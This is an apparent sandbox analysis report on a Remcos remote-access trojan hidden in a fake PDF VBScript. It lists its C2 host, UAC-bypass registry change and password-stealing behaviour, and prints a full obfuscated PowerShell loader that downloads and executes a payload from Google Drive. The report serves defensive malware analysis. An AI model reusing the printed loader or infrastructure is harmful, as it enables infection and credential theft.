remcos | a9b35270a11c6bbcf9aeffdc5094105486beed9e772b59116f276584d9357e12

Analysis

max time kernel
149s
max time network
149s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
25-11-2024 12:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

WNIOSEK BUDŻETOWY 25-11-2024·pdf.vbs
Size

16KB
MD5

7629b8a9f44c0d82a77edd71ff758028
SHA1

c7e7708565e250860139338d8a0dd79ba05a0b54
SHA256

a9b35270a11c6bbcf9aeffdc5094105486beed9e772b59116f276584d9357e12
SHA512

2ede58762d50013647f32a1b55c9979f0f99820c5e0fc2dbc94403d80f9a222fb07f319857e4fc2a25407b4c33d118250e4ff48475d83c49333c9c23a591d15c
SSDEEP

384:9Wl6/kDhGteC20UFY0Z0o6m1PdFu+mTD5Za:3/kMteC2VFeo64PruJK

Score

10^/10

remcos remotehost collection credential_access discovery evasion execution rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

hg575438h-0.duckdns.org:23458

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-WNVZ5S
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral1/memory/1008-90-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral1/memory/932-89-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/2400-96-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral1/memory/1008-90-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral1/memory/932-89-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	Process
3	1728	WScript.exe
7	1852	powershell.exe
9	1852	powershell.exe
11	2928	msiexec.exe
13	2928	msiexec.exe
15	2928	msiexec.exe
17	2928	msiexec.exe
18	2928	msiexec.exe
20	2928	msiexec.exe
21	2928	msiexec.exe
22	2928	msiexec.exe
24	2928	msiexec.exe
25	2928	msiexec.exe

Uses browser remote debugging 2 TTPs 3 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

Processes:

Chrome.exeChrome.exeChrome.exe

pid	Process
644	Chrome.exe
1968	Chrome.exe
2300	Chrome.exe

Accesses Microsoft Outlook accounts 1 TTPs 2 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exemsiexec.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
1852	powershell.exe
2636	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
6	drive.google.com
7	drive.google.com
11	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
2928	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2636	powershell.exe
2928	msiexec.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

msiexec.exe

description	pid	Process	procid_target
PID 2928 set thread context of 932	2928	msiexec.exe	43
PID 2928 set thread context of 1008	2928	msiexec.exe	44
PID 2928 set thread context of 2400	2928	msiexec.exe	45
PID 2928 set thread context of 1480	2928	msiexec.exe	54
PID 2928 set thread context of 1748	2928	msiexec.exe	55
PID 2928 set thread context of 1820	2928	msiexec.exe	56

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

reg.exemsiexec.exemsiexec.exemsiexec.exepowershell.exemsiexec.execmd.exemsiexec.exemsiexec.exemsiexec.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Chrome.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
848	reg.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

Processes:

powershell.exepowershell.exemsiexec.exemsiexec.exeChrome.exemsiexec.exe

pid	Process
1852	powershell.exe
2636	powershell.exe
2636	powershell.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
932	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
644	Chrome.exe
644	Chrome.exe
932	msiexec.exe
1480	msiexec.exe
1480	msiexec.exe

Suspicious behavior: MapViewOfSection 7 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2636	powershell.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe
2928	msiexec.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exepowershell.exemsiexec.exeChrome.exemsiexec.exe

description	pid	Process
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2400	msiexec.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeShutdownPrivilege	644	Chrome.exe
Token: SeDebugPrivilege	1820	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

Chrome.exe

pid	Process
644	Chrome.exe
644	Chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid	Process
2928	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.exeChrome.exe

description	pid	Process	procid_target
PID 1728 wrote to memory of 1852	1728	WScript.exe	31
PID 1728 wrote to memory of 1852	1728	WScript.exe	31
PID 1728 wrote to memory of 1852	1728	WScript.exe	31
PID 2636 wrote to memory of 2928	2636	powershell.exe	36
PID 2636 wrote to memory of 2928	2636	powershell.exe	36
PID 2636 wrote to memory of 2928	2636	powershell.exe	36
PID 2636 wrote to memory of 2928	2636	powershell.exe	36
PID 2636 wrote to memory of 2928	2636	powershell.exe	36
PID 2636 wrote to memory of 2928	2636	powershell.exe	36
PID 2636 wrote to memory of 2928	2636	powershell.exe	36
PID 2636 wrote to memory of 2928	2636	powershell.exe	36
PID 2928 wrote to memory of 432	2928	msiexec.exe	38
PID 2928 wrote to memory of 432	2928	msiexec.exe	38
PID 2928 wrote to memory of 432	2928	msiexec.exe	38
PID 2928 wrote to memory of 432	2928	msiexec.exe	38
PID 432 wrote to memory of 848	432	cmd.exe	40
PID 432 wrote to memory of 848	432	cmd.exe	40
PID 432 wrote to memory of 848	432	cmd.exe	40
PID 432 wrote to memory of 848	432	cmd.exe	40
PID 2928 wrote to memory of 644	2928	msiexec.exe	41
PID 2928 wrote to memory of 644	2928	msiexec.exe	41
PID 2928 wrote to memory of 644	2928	msiexec.exe	41
PID 2928 wrote to memory of 644	2928	msiexec.exe	41
PID 644 wrote to memory of 1152	644	Chrome.exe	42
PID 644 wrote to memory of 1152	644	Chrome.exe	42
PID 644 wrote to memory of 1152	644	Chrome.exe	42
PID 2928 wrote to memory of 932	2928	msiexec.exe	43
PID 2928 wrote to memory of 932	2928	msiexec.exe	43
PID 2928 wrote to memory of 932	2928	msiexec.exe	43
PID 2928 wrote to memory of 932	2928	msiexec.exe	43
PID 2928 wrote to memory of 932	2928	msiexec.exe	43
PID 2928 wrote to memory of 932	2928	msiexec.exe	43
PID 2928 wrote to memory of 932	2928	msiexec.exe	43
PID 2928 wrote to memory of 932	2928	msiexec.exe	43
PID 2928 wrote to memory of 1008	2928	msiexec.exe	44
PID 2928 wrote to memory of 1008	2928	msiexec.exe	44
PID 2928 wrote to memory of 1008	2928	msiexec.exe	44
PID 2928 wrote to memory of 1008	2928	msiexec.exe	44
PID 2928 wrote to memory of 1008	2928	msiexec.exe	44
PID 2928 wrote to memory of 1008	2928	msiexec.exe	44
PID 2928 wrote to memory of 1008	2928	msiexec.exe	44
PID 2928 wrote to memory of 1008	2928	msiexec.exe	44
PID 2928 wrote to memory of 2400	2928	msiexec.exe	45
PID 2928 wrote to memory of 2400	2928	msiexec.exe	45
PID 2928 wrote to memory of 2400	2928	msiexec.exe	45
PID 2928 wrote to memory of 2400	2928	msiexec.exe	45
PID 2928 wrote to memory of 2400	2928	msiexec.exe	45
PID 2928 wrote to memory of 2400	2928	msiexec.exe	45
PID 2928 wrote to memory of 2400	2928	msiexec.exe	45
PID 2928 wrote to memory of 2400	2928	msiexec.exe	45
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46
PID 644 wrote to memory of 1464	644	Chrome.exe	46

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WNIOSEK BUDŻETOWY 25-11-2024·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Pikkendes='Refall207';;$Atlaskeskjolens='Farveklip';;$Mglingens='Spildevandspaavirkningernes';;$Dagtemperaturen24='Flodblgerne';;$forskelsbehandlet='Erstatningsansvaret';;$Rettearbejders=$host.Name;function Preenforcing($Viderefr){If ($Rettearbejders) {$Carrousel=4} for ($databger=$Carrousel;;$databger+=5){if(!$Viderefr[$databger]) { break }$Derationalize+=$Viderefr[$databger]}$Derationalize}function dalmatiners($Dityrambes){ .($Protoglobulose) ($Dityrambes)}$Spleenens=Preenforcing '.rldnSaimE Gawt Upt.CauswU reeKradbFalsc CohlKullI In eAutonDataT';$Nonutilities=Preenforcing 'B acMDacaoA orzS mmiVrgelRidslChroa Spi/';$Tutorages=Preenforcing ' enTOrthl ForsPoro1Jako2';$Stedmorens36='Torv[KondN LaieTr pt R s. Co.S fteEPeriRKo,dVRattIScricUncoeCameP,oncORepoiSlutNAl uTSl fmprotaJenbnUnsaA RepGrobiE ostRChyl] ,ne:Salo:VareS UnrE BagcUninUSketRunamiRul TCollYUnsiPKerarSu.poNoniTUn ioKnolCM.moo U.sL.ema=Neig$ sydT SamUUntit Fu OH,reRwackAPapigPreaE Udvs';$Nonutilities+=Preenforcing 'Ud,e5Disk.Skid0.oll Upey(L.ftWR.keiFunkn D.udBenyoKe pwFabrsFor EvicNKonsT or Som 1Optr0 Mon.Op r0srba;D,de ,aniWUdsii ek.nPs,u6Ase.4 ec; Auk Taljx rud6Arcc4Trig; T.r Melir nrev nt:Fore1 De 3Skov1 non.Guld0Jung)Brne UdduGNatieFr acUovekU,saoUnfa/Fo.e2Smrg0Vide1Aero0Efte0Brud1 van0 Nyk1Dunb LemmFS fti conrVoteeEsquf .uno ForxF,le/ nc1Gunf3Indl1 .as.Insu0';$Dunghill=Preenforcing ' BobuGldeSAu,ie BeaRAfna-LucuABl mg iddeSa.vnCottT';$Slukket=Preenforcing 'Skudh.reltxylet laspB gesTi h:Quad/Ov,r/ K mdAt orS lviAnglvA.roear.u.ConggBevioDemyo lumgQua lMorse Tak.Cal,cCyanoAfbamTw n/Fladu GricI si? I de afsxFedtpUnexo S.erSamltuspo=s rtdNonroS.riwForsn KatlSprdoboomaAabndForl& Frei etadSlag=Ga t1 ,rt7Kic.M Clox ar,xAr uZGreyUMer.TOphilEvigJSproIS,ciV,rti5 Intcb zatMaveK Runh tiD Bl JDel 4 A tcIn rtCh bLBagv6p epKFlkhLBundwJackrPopl9UropkSla 6Snkn1 E tE';$Mononucleosises=Preenforcing 'S mi>';$Protoglobulose=Preenforcing 'ApaniBilrE.fteX';$Hmmedes='Finn';$Svagelighed='\mandolin.Udr';dalmatiners (Preenforcing 'Mono$TavsgG inl naoU stBInsiATangLStrt:BarylNowiEUn,nD Cope.okil Re iLangn igI PlaeRick2Vamp5Bug.0,has=wisp$VegnE RodnO,erVRoc :B aaa eglPR soP ertdagteaLimit andA eta+Repr$ HorSUdspVRosaaBottGDe.tEParalE spiS nugF rgHTro eStacD');dalmatiners (Preenforcing ' Sol$inteGTjenlKaldO S oBHelbAMa.gLinte: greC LanODisaNBreds.romtCiteRInteUV.rtCUndeTA imiKorroOpr,nDragaAftvlDyrkLCo oyDipo=Nav $Des,sRadiL UteURisik,entkG rdE FortTurs.LedeSDolepPannlMa oIGlamTThio(Eare$SpatmBes OPainN GeroAf enOp rURaaocMagilBe eE dogO krS ForITeglsAmale BriS Clo)');dalmatiners (Preenforcing $Stedmorens36);$Slukket=$Constructionally[0];$billetsalg=(Preenforcing 'Shor$ LigGbioglStorORedaBYa oA TelLF.yg:wellAKathrL.ngbMisfi.ovjtTumbRUdhaARe rGMaanECogrAOverFIlsadUnm eBengLUnd iCratNTaxiGLsehe MisnFlam= ThyNMilie.efrWA ma-Fj rOF.miBR diJPla,EOrnaC ,udT Ewe MortSTestyOffesforeT Di eReknM Syl.Mis $Knips ajePStamlRekoeSeceESub NTerreRy kNAdkvS');dalmatiners ($billetsalg);dalmatiners (Preenforcing 'Rntg$ElekARecorP rcbLydtiPenstSerarBarba Tykg dbeAnteaMidtfRemedLinoeTegnlHalui ubn IndgCollere,an D.v.bemeHAflyeHai aMisudStjmeEnrorpen sBrun[ T p$AlcyDUmaau JetnDagigValshR,byiCicelAd llNank]Rect=S.ar$ alvNDuloo Vo.nCynouBra t SveiSen lSno iOmfatAgteiAtike atis');$Lastvrk=Preenforcing ' U.s$ FriAVe,trCircbOctaiMor,t ntrUnmoaSporgSubde ngaaDislf La dSfyreWatclNonti,estnVe eg ForeMontn Reg.FighD BlaoFentwS,aanRuc lRe ooS joaStoldtrd FR naiEsmelWoefe Dah(Post$Gen SSammlM nsuRadikspilkFje,eFlertMont,Hypn$PostONonevSeaseGaa reftesTegnkS rguHomodR.cisTracp C.frM dtoPro dE,eruPr,tkEvertBoroi BrnoEscanlowle farr icenLigeeSpils,ord)';$Overskudsproduktionernes=$Ledelinie250;dalmatiners (Preenforcing ',ndd$ Hemg Or.L armOBortBSonja DisLGern: BriHkrukymuckdA,hmr IleUPaafr Attu ors ,or=Se.e(,tiktFiliekrlissol,TLege-AnidpDepaAKernTPreshAlde Nonc$FormOGardv f jE T nrConvSQuadkPh.luskeeDSkinsIntepBobbr akOPoseDS raU.etoKSymmtAn iIAft O Slun agdeMotorPolyNRenheT.rpS g i)');while (!$Hydrurus) {dalmatiners (Preenforcing ' Spi$ChaigChimlSdsuoSma.bB,eaaHa mlNonr:afveC ,rshZardaAvigrParattilgrHulki Bo ngradgOye,e Refnbed.= Pap$Ch ePDroso BartDrttiRecacOverhCyclo mimmFootaAabnnArboiAfgaa') ;dalmatiners $Lastvrk;dalmatiners (Preenforcing 'R crSTusit Un a ResRB ldTSepo-JydsSVan.L MeaeOndaEDiespDeic Sp n4');dalmatiners (Preenforcing ' Nyt$BioggDespl S eO GarbSigta rtilPali:Ven hKonfyR gndIna,rBeriU la.r Lu UVagaSAlfa=.uto(TunftRespeEthosUkloTAlgi-HimmPFejlABeauTRefehOut. Chik$Ukldo HvlvJor E S bRSubesPoolkUnd.u ,ledAll s UnspLapiR isdODundDNegeUK,rkK MartFrasI H cOinteNGh seKaraR IniNJernEDextsInge)') ;dalmatiners (Preenforcing ' Inf$Fo,sGPedilLejeoLaboB jenaNysgL Lan:IncuTS bfrL.ndEMyndEO erII.dhNg ndG oad=dors$J veg aadlAthrOLieuBAag aCalllmiss:Bardy esknBiflGRepeLUnp.ESpleDY tpyBespg CalT dueiRiemgDds eHjkiSDrab+Bl k+Si.e% Sol$Unsuc O,tOBllen E cSUngkt SteRRubbu CamcEremTSko.iLovfoLselnSedaA Scol A blTi,ey rov.Exarce,feoFrinu SkonGarrT') ;$Slukket=$Constructionally[$Treeing]}$Polaristrobometer=307322;$databgernterpretative=30954;dalmatiners (Preenforcing ' ele$Evi,GA,icL TomoTr mbPoleADrhalGire:Flagd edeRStraAD.gaGHoveePreueulovrBygnn auE run V l=Ubet AlkoGDallEBru tSt d-OutrC nseo H,nNN,nrTOmseECrofnShelT M.d St e$Predooph,VAs iENon RSkilSTovekIatrU A eDCiriS Al.p I oRSilvodegaDDemouautokDybsTImmuI LacO.igan LonEUdf.rBas.n TenetrniS');dalmatiners (Preenforcing 'pols$ExtegrecolAd loYde.b.steaBai,lPins: AmoE Gral Fl a Sorb Dego E erMi,naHumbtBicieSupesSyge S,e=Udb. Kali[BestSoneryPressFremtLar.eEgetmEmba.A,dwCRehaoMo rnAffav KleeT llrKrfttGr m]Stot: ,is:BlafFCla rR.daoTaksmTatoBT pka oofsfld eEarn6 .ud4Mis,S lytB,rtr ElriReapnUnstg.ngv(Orga$ T.dD Zy rPostasab.gTalleArche lygrW,ennwo,geNatb)');dalmatiners (Preenforcing ' Gra$Pa tGChadLUdenOPlumbBenaa Vi.l Pra: RepJSkanIBebum A tjBalaASupeMN tusLedn Kaff=Natt In r[ arrssqueYmid s FagTbl kEForlmAcre.S,amTBri eRachxcic TCal . S,mESpidNNonfCWan Or gnDSvmmiBrann St g.ors]Typo:Cali: s iaFjersTr ic,jleISub,ICons.NetsGLageeMa cT Tr SFilmTMichrBopyIBo unFri.gAuto(Hj,m$InvoEEn.elBu taIoniBDveloPantrCoota PretAflaeTodksHist)');dalmatiners (Preenforcing '.tal$B ocGRimsLInfaORealBDainAUdstlgamm:SpinpBidseThorlPanmeLugtc EenASpydnUnfaUL ndSResn= .re$PrerjGib i FejmUltijEpima sadMOverSLanc.CavasSu fuSillbbardsOleaT orsROpb iD asnA.begA om(Sejs$ Ep,PHoveO raglRib ADdker,ednI Pl.SDoodTNonbrPuseOCatcbspe OUnc MDisse.olstOutqE jerR alg,Kont$ ,usDP,tta G eTUndeaElg BetvrgInduERediR miln UndtSa sE orkROph P unkRRevieP.ssTPr mABri.TViroiM llVDagse ut)');dalmatiners $Pelecanus;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Pikkendes='Refall207';;$Atlaskeskjolens='Farveklip';;$Mglingens='Spildevandspaavirkningernes';;$Dagtemperaturen24='Flodblgerne';;$forskelsbehandlet='Erstatningsansvaret';;$Rettearbejders=$host.Name;function Preenforcing($Viderefr){If ($Rettearbejders) {$Carrousel=4} for ($databger=$Carrousel;;$databger+=5){if(!$Viderefr[$databger]) { break }$Derationalize+=$Viderefr[$databger]}$Derationalize}function dalmatiners($Dityrambes){ .($Protoglobulose) ($Dityrambes)}$Spleenens=Preenforcing '.rldnSaimE Gawt Upt.CauswU reeKradbFalsc CohlKullI In eAutonDataT';$Nonutilities=Preenforcing 'B acMDacaoA orzS mmiVrgelRidslChroa Spi/';$Tutorages=Preenforcing ' enTOrthl ForsPoro1Jako2';$Stedmorens36='Torv[KondN LaieTr pt R s. Co.S fteEPeriRKo,dVRattIScricUncoeCameP,oncORepoiSlutNAl uTSl fmprotaJenbnUnsaA RepGrobiE ostRChyl] ,ne:Salo:VareS UnrE BagcUninUSketRunamiRul TCollYUnsiPKerarSu.poNoniTUn ioKnolCM.moo U.sL.ema=Neig$ sydT SamUUntit Fu OH,reRwackAPapigPreaE Udvs';$Nonutilities+=Preenforcing 'Ud,e5Disk.Skid0.oll Upey(L.ftWR.keiFunkn D.udBenyoKe pwFabrsFor EvicNKonsT or Som 1Optr0 Mon.Op r0srba;D,de ,aniWUdsii ek.nPs,u6Ase.4 ec; Auk Taljx rud6Arcc4Trig; T.r Melir nrev nt:Fore1 De 3Skov1 non.Guld0Jung)Brne UdduGNatieFr acUovekU,saoUnfa/Fo.e2Smrg0Vide1Aero0Efte0Brud1 van0 Nyk1Dunb LemmFS fti conrVoteeEsquf .uno ForxF,le/ nc1Gunf3Indl1 .as.Insu0';$Dunghill=Preenforcing ' BobuGldeSAu,ie BeaRAfna-LucuABl mg iddeSa.vnCottT';$Slukket=Preenforcing 'Skudh.reltxylet laspB gesTi h:Quad/Ov,r/ K mdAt orS lviAnglvA.roear.u.ConggBevioDemyo lumgQua lMorse Tak.Cal,cCyanoAfbamTw n/Fladu GricI si? I de afsxFedtpUnexo S.erSamltuspo=s rtdNonroS.riwForsn KatlSprdoboomaAabndForl& Frei etadSlag=Ga t1 ,rt7Kic.M Clox ar,xAr uZGreyUMer.TOphilEvigJSproIS,ciV,rti5 Intcb zatMaveK Runh tiD Bl JDel 4 A tcIn rtCh bLBagv6p epKFlkhLBundwJackrPopl9UropkSla 6Snkn1 E tE';$Mononucleosises=Preenforcing 'S mi>';$Protoglobulose=Preenforcing 'ApaniBilrE.fteX';$Hmmedes='Finn';$Svagelighed='\mandolin.Udr';dalmatiners (Preenforcing 'Mono$TavsgG inl naoU stBInsiATangLStrt:BarylNowiEUn,nD Cope.okil Re iLangn igI PlaeRick2Vamp5Bug.0,has=wisp$VegnE RodnO,erVRoc :B aaa eglPR soP ertdagteaLimit andA eta+Repr$ HorSUdspVRosaaBottGDe.tEParalE spiS nugF rgHTro eStacD');dalmatiners (Preenforcing ' Sol$inteGTjenlKaldO S oBHelbAMa.gLinte: greC LanODisaNBreds.romtCiteRInteUV.rtCUndeTA imiKorroOpr,nDragaAftvlDyrkLCo oyDipo=Nav $Des,sRadiL UteURisik,entkG rdE FortTurs.LedeSDolepPannlMa oIGlamTThio(Eare$SpatmBes OPainN GeroAf enOp rURaaocMagilBe eE dogO krS ForITeglsAmale BriS Clo)');dalmatiners (Preenforcing $Stedmorens36);$Slukket=$Constructionally[0];$billetsalg=(Preenforcing 'Shor$ LigGbioglStorORedaBYa oA TelLF.yg:wellAKathrL.ngbMisfi.ovjtTumbRUdhaARe rGMaanECogrAOverFIlsadUnm eBengLUnd iCratNTaxiGLsehe MisnFlam= ThyNMilie.efrWA ma-Fj rOF.miBR diJPla,EOrnaC ,udT Ewe MortSTestyOffesforeT Di eReknM Syl.Mis $Knips ajePStamlRekoeSeceESub NTerreRy kNAdkvS');dalmatiners ($billetsalg);dalmatiners (Preenforcing 'Rntg$ElekARecorP rcbLydtiPenstSerarBarba Tykg dbeAnteaMidtfRemedLinoeTegnlHalui ubn IndgCollere,an D.v.bemeHAflyeHai aMisudStjmeEnrorpen sBrun[ T p$AlcyDUmaau JetnDagigValshR,byiCicelAd llNank]Rect=S.ar$ alvNDuloo Vo.nCynouBra t SveiSen lSno iOmfatAgteiAtike atis');$Lastvrk=Preenforcing ' U.s$ FriAVe,trCircbOctaiMor,t ntrUnmoaSporgSubde ngaaDislf La dSfyreWatclNonti,estnVe eg ForeMontn Reg.FighD BlaoFentwS,aanRuc lRe ooS joaStoldtrd FR naiEsmelWoefe Dah(Post$Gen SSammlM nsuRadikspilkFje,eFlertMont,Hypn$PostONonevSeaseGaa reftesTegnkS rguHomodR.cisTracp C.frM dtoPro dE,eruPr,tkEvertBoroi BrnoEscanlowle farr icenLigeeSpils,ord)';$Overskudsproduktionernes=$Ledelinie250;dalmatiners (Preenforcing ',ndd$ Hemg Or.L armOBortBSonja DisLGern: BriHkrukymuckdA,hmr IleUPaafr Attu ors ,or=Se.e(,tiktFiliekrlissol,TLege-AnidpDepaAKernTPreshAlde Nonc$FormOGardv f jE T nrConvSQuadkPh.luskeeDSkinsIntepBobbr akOPoseDS raU.etoKSymmtAn iIAft O Slun agdeMotorPolyNRenheT.rpS g i)');while (!$Hydrurus) {dalmatiners (Preenforcing ' Spi$ChaigChimlSdsuoSma.bB,eaaHa mlNonr:afveC ,rshZardaAvigrParattilgrHulki Bo ngradgOye,e Refnbed.= Pap$Ch ePDroso BartDrttiRecacOverhCyclo mimmFootaAabnnArboiAfgaa') ;dalmatiners $Lastvrk;dalmatiners (Preenforcing 'R crSTusit Un a ResRB ldTSepo-JydsSVan.L MeaeOndaEDiespDeic Sp n4');dalmatiners (Preenforcing ' Nyt$BioggDespl S eO GarbSigta rtilPali:Ven hKonfyR gndIna,rBeriU la.r Lu UVagaSAlfa=.uto(TunftRespeEthosUkloTAlgi-HimmPFejlABeauTRefehOut. Chik$Ukldo HvlvJor E S bRSubesPoolkUnd.u ,ledAll s UnspLapiR isdODundDNegeUK,rkK MartFrasI H cOinteNGh seKaraR IniNJernEDextsInge)') ;dalmatiners (Preenforcing ' Inf$Fo,sGPedilLejeoLaboB jenaNysgL Lan:IncuTS bfrL.ndEMyndEO erII.dhNg ndG oad=dors$J veg aadlAthrOLieuBAag aCalllmiss:Bardy esknBiflGRepeLUnp.ESpleDY tpyBespg CalT dueiRiemgDds eHjkiSDrab+Bl k+Si.e% Sol$Unsuc O,tOBllen E cSUngkt SteRRubbu CamcEremTSko.iLovfoLselnSedaA Scol A blTi,ey rov.Exarce,feoFrinu SkonGarrT') ;$Slukket=$Constructionally[$Treeing]}$Polaristrobometer=307322;$databgernterpretative=30954;dalmatiners (Preenforcing ' 